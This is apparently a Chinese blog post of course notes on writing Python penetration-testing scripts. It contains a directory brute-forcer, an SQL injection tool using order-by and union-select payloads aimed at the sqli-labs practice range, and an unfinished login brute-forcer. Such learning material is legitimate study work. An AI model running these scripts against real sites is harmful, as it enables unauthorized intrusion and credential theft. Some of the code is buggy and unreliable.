前言
最近在B站上学习有关Python编写渗透脚本课程,此篇仅作为学习笔记,代码大部分来自课程讲解,不懂的地方建议看课程或者上网有关语法
课程链接
前期准备
对于Python语言有一定了解(当时学的时候我也没有系统学过Python。。)
安装好Pycharm并导入有关库requests、optparse等
简单介绍下
requests作用是获取网络请求
optparse可以用于自定义命令参数并处理
脚本代码
目录扫描
下面是 文件读取代码
,dic.txt是准备的目录字典。
with open("dic.txt","r") as f:
line_list = f.readlines()
print(len(line_list))
print(type(line_list))
for line in line_list:
print(line.strip())
下面是完整代码,结果根据状态响应码返回存在的路径
import getopt
import sys
import math
import threading
import requests
def banner():#工具介绍函数
print("*"*50)
print("*"*2+" "*16+"Dirbrute v1.0"+" "*17+"*"*2)
print("*"*50)
print("This tool just code for dirsearch")
#python Dirbrute -u url -t thread -d dictionary
def usage():#使用方法说明函数
print("This is the tool's usage")
print("python Dirbrute.py -u url -t thread -d dictionary")
usage()
# opts , args = getopt.getopt(sys.argv[1:],"u:t:d:")
# for k,v in opts:
# print(k)
# print(v)
# print(type(opts))
# print(opts)
# print(type(args))
# print(args)
def start():
if len(sys.argv) == 7:
opts , args =getopt.getopt(sys.argv[1:],"u:t:d:")
for k,v in opts:
if k == "-u":
url = v
elif k == "-t":
threads = v
elif k == "-d":
dic = v
# print("url: "+url)
# print("threads: "+threads)
# print("dic: "+dic)
multi_scan(url,threads,dic)
else:
print("Error Argument!")
sys.exit()
def multi_scan(url,threads,dic):
#第一步读取字典文件
#第二步确定读取的行数
#第三步确定每一个线程读取的字典列表[[t1],[t2],[t3]]
result_list = []
threads_list = []
with open(dic,"r") as f:
dic_list = f.readlines()
thread_read_line_num = math.ceil(len(dic_list) / int (threads))
#结果向上取整
i = 0
temp_list = []
for line in dic_list:
i = i + 1
#print((str(i)+":"+line).strip())
if i % thread_read_line_num == 0 :
temp_list.append(line.strip())
result_list.append(temp_list)
temp_list = []
else:
temp_list.append(line.strip())
result_list.append(temp_list)#这里需要补上,否则最后几行还停留在temp_list中
for i in result_list:
threads_list.append(threading.Thread(target=scan,args=(url,i)))
for t in threads_list:
t.start()
def scan(url,dic):
#这里实现扫描功能
for line in dic:
r = requests.get(url+'/'+line)
if r.status_code == 200:
print(r.url+" : "+str(r.status_code))
# print(result_list)
start()
SQL注入
这里目标是sqli-labs-master靶场,也可以将Parameters改成别的
下面展示SQL注入脚本代码
。
功能包括读取字典,order by探测字段数,union探测(基于表名、列名字典)
import optparse
import requests
parser = optparse.OptionParser()
parser.usage = "sqlinjector.py -u url -i inject_fuzz.txt"
parser.add_option("-u","--url",dest="url",help="url to test sql",action="store",type="string",metavar="URL")
parser.add_option("-i","--inject",dest="inject_file",help="fuzz filename",action="store",type="string",metavar="FUZZFILE")
(options,args) = parser.parse_args()
url = options.url
fuzz_file = options.inject_file
# print(url)
# print(fuzz_file)
def get_urls():
urls = []
with open(fuzz_file,"r") as f:
payload_list = f.readlines()#每一项都有反斜杠,需要strip
for payload in payload_list:
payload = payload.strip()
urls.append(url.replace("FUZZ",payload))
return urls
inject_urls = get_urls()
for item in inject_urls:
print(item)
result_list = [] #存储注入成功的列表
is_injectable = []
def test_sql():
print("testing url:")
for item in inject_urls:
r = requests.get(url=item)
print(r.url)
result = r.text
if result.find("SQL syntax")!=-1: #存在SQL注入
is_injectable.append(True)
result_list.append(r.url)
test_sql()
if result_list == 0:
print("no sql inject")
else:
print("exist sql inject")
for item in result_list:
print(item)
def detect_columns_num(): #探测字段数 order by
i = 0
while i<100:
i = i + 1
temp_url = url.replace("FUZZ","1'+order+by+"+str(i)+"+--+")
r = requests.get(temp_url)
print(r.url)
if r.text.find("Unknow") == -1:
continue
else:
break
return i-1
if len(is_injectable) > 0:
column = detect_columns_num()
print("find this table has "+ str(column) + " column")
table_result = []
def detect_table_name(): #构造union注入
u = ""
for i in range(column):
u = u + str(i+1) + ","
u = u[0:len(u)-1] #去除最后的逗号
table_list = ["admin","admin123","root","adminstrator","users","emails","referers"]
for table_name in table_list:
temp_url = url.replace("FUZZ","-1'+union+select+"+u+"+from+"+ table_name + "+--+")
r = requests.get(temp_url)
key = "doesn't exist"
if r.text.find(key) == -1: #没有找到
table_result.append(table_name)
if len(is_injectable) > 0:
detect_table_name()
print("Find these table_name in DB ")
for table in table_result:
print(table)
column_result = []
def detect_column_name():
key = "Unknown column"
u = ""
for i in range(column):
u = u + str(i + 1) + ","
u = u[0:len(u) - 1] # 去除最后的逗号 u=[1,2,3]
#conlumn_content是自己准备的字典
column_content = ["id","user","admin","password","users","email_id"]
for table in table_result:
for line in column_content:
temp_url = url.replace("FUZZ","-1'+union+select+"+u.replace("2",line)+"+from+"+table+"+--+")
r = requests.get(temp_url)
print(r.url) #打印验证一下payload
if r.text.find(key) == -1:
column_result.append(line) #到这里还缺乏表与列的对应关系
#else:
column_result.append(table) #[column,table]
if len(is_injectable) > 0:
detect_column_name()
print("Find these column name")
print(table_result)# 探测存在的表名集
print(column_result)# 探测存在的表名和列名集
for line in column_result:
if line not in table_result:
print(line)
else:
print("上边的内容是该表对应的字段名" + line)
下面是同目录下的测试语句字典fuzz_sql.txt
结果如下
简单爆破
直接上代码,原课程这一块讲解存在问题,以后有机会再改进
import optparse
import math
import threading
import requests
parser = optparse.OptionParser()
parser.usage = "web_brute_command.py -u url -user user_file -p pass_file -t num"
parser.add_option("-s","--site",dest="website",help="website to test",action="store",type="string",metavar="url")
parser.add_option("-u","--userfile",dest="userfile",help="username from file",action="store",type="string",metavar="USERFILE")
parser.add_option("-p","--passfile",dest="passfile",help="password from file",action="store",type="string",metavar="PASSFILE")
parser.add_option("-t","--threads",dest="threads",help="number of threads",action="store",type="int",metavar="THREADS")
(options,args) = parser.parse_args()
# print(options.website)
# print(options.userfile)
# print(options.passfile)
# print(options.threads)
#payload确定
ths = options.threads
# print(ths)
pass_dic = options.passfile
# print(pass_dic)
user_dic = options.userfile
# print(user_dic)
site = options.website
#新建一个密码字典列表[[],[],[]]
user_list = []
pass_list = []
result_num = 0
#根据线程数 确定每一项中内容的行数
#第一步读取所有密码字典内容到列表中,确定行数
with open(pass_dic) as f:
temp_list = f.readlines()
temp_thread_list = []
num=len(temp_list)
#第二步 使用得到的临时列表的项数 除以线程数来确定每一个线程中的项数
result = num / ths
# print(temp_list)
# print(num)
# print(result)
#第三步 向上取整 math.ceil 向下取整 math.floor
result = math.ceil(result)#表示线程要读取的内容行数
result_num = result
print(result_num)
flag = 0
# for line in temp_list: #这里如果向上取整,会导致有线程用不到
# flag = flag + 1
# temp_thread_list.append(line.strip())#去掉换行
# #print(result)
# if flag == result:
# flag = 0
# pass_list.append(temp_thread_list)
# temp_thread_list = []
# for line in temp_thread_list:#向下取整,视频中这里的处理有问题,数据22时将有11个线程
# for i in len(temp_thread_list):
# pass_list[i].append(line)
#改写一下,先别管线程用不上的事情,还是用向上取整,至少线程不会超出
for line in temp_list:
flag = flag + 1
if flag % result == 0:
temp_thread_list.append(line.strip())
pass_list.append(temp_thread_list)
temp_thread_list = []
else:
temp_thread_list.append(line.strip())
pass_list.append(temp_thread_list)
print(pass_list)
print(len(pass_list))
#照搬上面就行
with open(user_dic) as f:
temp_list = f.readlines()
temp_thread_list = []
num=len(temp_list)
#print(temp_list)
result = num / ths
result = math.ceil(result)#表示线程要读取的内容行数
result_num = result
print(result_num)
flag = 0
#思考为什么会多一个空【】
for line in temp_list:
flag = flag + 1
if flag % result == 0:
temp_thread_list.append(line.strip())
user_list.append(temp_thread_list)
temp_thread_list = []
else:
temp_thread_list.append(line.strip())
user_list.append(temp_thread_list)
print(user_list)
print(len(user_list))
def scan(payload):
user = payload["user"]
password = payload["pass_list"]
r = requests.post(url=site,data={"username":user,"password":password})
print("url:"+site+":"+"username:"+user+"password:"+password+" "+"length: "+str(len(r.text)))
ths_list = []
with open(user_dic,"r") as f:
user = f.readlines()
for user in user_list:
for pass_line in pass_list:
payload = {"user:":user,"pass_list:":pass_line}
print(payload)
#ths_list.append(threading.Thread(target=scan,args=payload))
# for th in ths_list:
# th.start()
总结
说白了,这些只是一个入门教程,重点在于学到一些思路。后续可以直接找一些渗透工具的源码来学,方便理解工具的原理。